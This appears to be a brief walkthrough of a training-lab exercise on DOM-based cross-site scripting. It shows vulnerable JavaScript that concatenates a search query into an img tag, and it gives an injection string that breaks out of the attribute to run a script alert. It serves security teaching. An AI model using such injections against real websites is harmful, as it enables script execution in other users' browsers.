Skip to content
ImmersiveLabs1 min read

IML - Cross-Site Scripting: Ep.4 – DOM-Based XSS

Cross-Site Scripting Ep.4 – D - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.



IML - Cross-Site Scripting: Ep.4 – DOM-Based XSS#

image1

image2

<u>Original query:</u>

bash
var tracker = '<div hidden><img src="/resources/search_assets/search.gif?query=' + query + '"></div>'

<u>Inject the following:</u>

bash
'"\>\<script\>alert('XSS')\</script\>\<"'

<u>Malicious query:</u>

bash
var tracker = '<div hidden><img src="/resources/search_assets/search.gif?query=' + '"><script>alert('XSS')</script><"' + '"></div>'

Paste entire malicious code above into Search box

image3

image4

ImmersiveLabs1 min

IML - Cross-Site Scripting: Ep.3 – Stored XSS

Cross-Site Scripting Ep.3 – S - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.

  • privilege escalation
  • rce
  • xss
  • tryhackme
  • hackthebox